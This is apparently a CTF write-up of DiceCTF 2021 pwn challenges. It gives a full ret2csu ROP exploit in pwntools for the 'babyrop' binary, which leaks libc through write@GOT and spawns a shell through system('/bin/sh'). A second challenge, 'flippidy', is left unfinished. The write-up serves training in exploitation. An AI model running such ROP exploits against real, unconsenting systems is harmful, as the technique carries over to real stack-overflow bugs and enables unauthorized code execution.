# DiceCTF 2021 Pwn ## Challenge 1: babyrop (ret2csu) > [name=ret2basic] ### Description "FizzBuzz101: Who wants to write a ret2libc" `nc dicec.tf 31924` [babyrop](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/babyrop/babyrop) ### Recon ```shell $ file babyrop babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a721f8e2550d74dddcaae7e8754bff9095e3488d, for GNU/Linux 3.2.0, not stripped ``` ```shell $ checksec babyrop [*] '/root/Dropbox/CTF/DiceCTF/2021/Pwn/babyrop/babyrop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique, such as **ret2libc**. But the challenge descriptions clearly says this isn't about ret2libc, so there must be some nuance here. ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+0h] [rbp-40h] write(1, "Your name: ", 0xBuLL); gets(&v4); return 0; } ``` ### Analysis This challenge looks like a typical ret2libc (with ret2write), **but we don't have the ability to control `rdx`**. To leak the address of `write@GOT` from libc, we have to call something like `write(1, write_got, 8)`. But the lack of control on `rdx` makes address leakage impossible, so **ret2libc fails for this challenge**. In such case, we should try **ret2csu**. Disassemble the target binary: ```shell $ objdump -M intel -d babyrop > disassembly.asm ``` Examine the CSU gadgets from disassembly: **CSU gadget 1:** ```assembly 4011ca: 5b pop rbx 4011cb: 5d pop rbp 4011cc: 41 5c pop r12 4011ce: 41 5d pop r13 4011d0: 41 5e pop r14 4011d2: 41 5f pop r15 4011d4: c3 ret ``` This CSU gadget helps us set up the values in: - **RBX** - **RBP** - **R12** - **R13** - **R14** - **R15** However, this isn't enough because we only care about setting up `rdx`, hence we need another CSU gadget. **CSU gadget 2:** ```assembly 4011b0: 4c 89 f2 mov rdx,r14 4011b3: 4c 89 ee mov rsi,r13 4011b6: 44 89 e7 mov edi,r12d 4011b9: 41 ff 14 df call QWORD PTR [r15+rbx*8] 4011bd: 48 83 c3 01 add rbx,0x1 4011c1: 48 39 dd cmp rbp,rbx 4011c4: 75 ea jne 4011b0 <__libc_csu_init+0x40> 4011c6: 48 83 c4 08 add rsp,0x8 4011ca: 5b pop rbx 4011cb: 5d pop rbp 4011cc: 41 5c pop r12 4011ce: 41 5d pop r13 4011d0: 41 5e pop r14 4011d2: 41 5f pop r15 4011d4: c3 ret ``` The essence in this CSU gadget is `mov rdx,r14`, which allows us to control the value in RDX eventually. The idea is: 1. **Push a series of carefully prepared values onto the stack.** 2. **Call CSU gadget 1 => the values that we pushed onto the stack get popped into each register. In particular, we want `r14 = 8`.** 3. **Call CSU gadget 2 => `mov rdx,r14` sets `rdx = 8`.** But be careful: 1. **CSU gadget 2 contains an instruction `cmp rbp,rbx`. Right before it, there is `add rbx,0x1`. Therefore, to bypass this check, we can simply set `rbx=0` and `rbp=1`.** 2. **CSU gadget 2 and CSU gadget 1 share the exactly same `ret` instruction. When calling CSU gadget 2, we want it to reach that `ret` as well. Here we can pass some junk values `b"B" * 56` to overwrite the content between `0x4011c6` and `0x4011d2` (the overlapped CSU gadget 1 content). There are 7 instructions, each of them is 8-byte long, so we need 56 bytes of junk values in total.** ### Exploit ```python=1 #!/usr/bin/env python3 from pwn import * #-------------# # Preparation | #-------------# context(arch="amd64", os="linux") elf = ELF("babyrop", checksec=False) local = True if local: r = elf.process() else: host = "dicec.tf" port = 31924 r = remote(host, port) #-------------------------------------# # Step 1: Leak write_got with ret2csu | #-------------------------------------# offset = 72 # Function addresses write_got = elf.got["write"] main = elf.sym["main"] # csu gadgets csu1 = 0x4011ca csu2 = 0x4011b0 # Helper function for generating ret2csu payload def csu(rbx, rbp, r12, r13, r14, r15, ret): payload = flat( b"A" * offset, csu1, rbx, rbp, r12, r13, r14, r15, # r12 = rdi; r13 = rsi; r14 = rdx csu2, b"B" * 56, ret, ) return payload # Call write(rdi=1, rsi=write.got, rdx=8) payload1 = csu(rbx=0, rbp=1, r12=1, r13=write_got, r14=8, r15=write_got, ret=main) # Leak write@GOT address from libc r.sendlineafter("Your name: ", payload1) write_leak = u64(r.read(6).ljust(8, b"\x00")) log.info(f"write_leak: {hex(write_leak)}") # [*] write_leak: 0x7f1c2d4df1d0 #-----------------------------------------# # Step 2: Search offsets in libc database | #-----------------------------------------# # Search the offset of "write" in libc database and compute libc base address write_offset = 0x1111d0 libc_base = write_leak - write_offset system = libc_base + 0x055410 bin_sh = libc_base + 0x1b75aa #----------------------# # Step 3: Get shell!!! | #----------------------# # ROPgadget --binary babyrop --only "pop|ret" | grep rdi pop_rdi = 0x00000000004011d3 # ROPgadget --binary babyrop --only "ret" ret = 0x000000000040101a payload2 = flat( b"A" * offset, pop_rdi, bin_sh, ret, system, ) r.sendlineafter("Your name: ", payload2) r.interactive() ``` #### Flag ``` dice{so_let's_just_pretend_rop_between_you_and_me_was_never_meant_b1b585695bdd0bcf2d144b4b} ``` ## Challenge 2: flippidy > [name=ret2basic] ### Description See if you can flip this program into a flag :D [flippidy](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/flippidy/flippidy) [libc.so.6](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/flippidy/libc.so.6) ### Recon ```shell $ file flippidy flippidy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9bad92d378d5af68a52fd2856145dc8588533a25, for GNU/Linux 3.2.0, stripped ``` Note that the target binary is **stripped**, so we know nothing about the function names. ```shell $ checksec flippidy [*] '/root/Dropbox/CTF/DiceCTF/2021/Pwn/flippidy/flippidy' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` ### Pseudocode `main`: ```c=1 ``` ### Analysis Todo! ### Exploit ```python=1 ``` #### Flag ``` ``` ###### tags: `DiceCTF`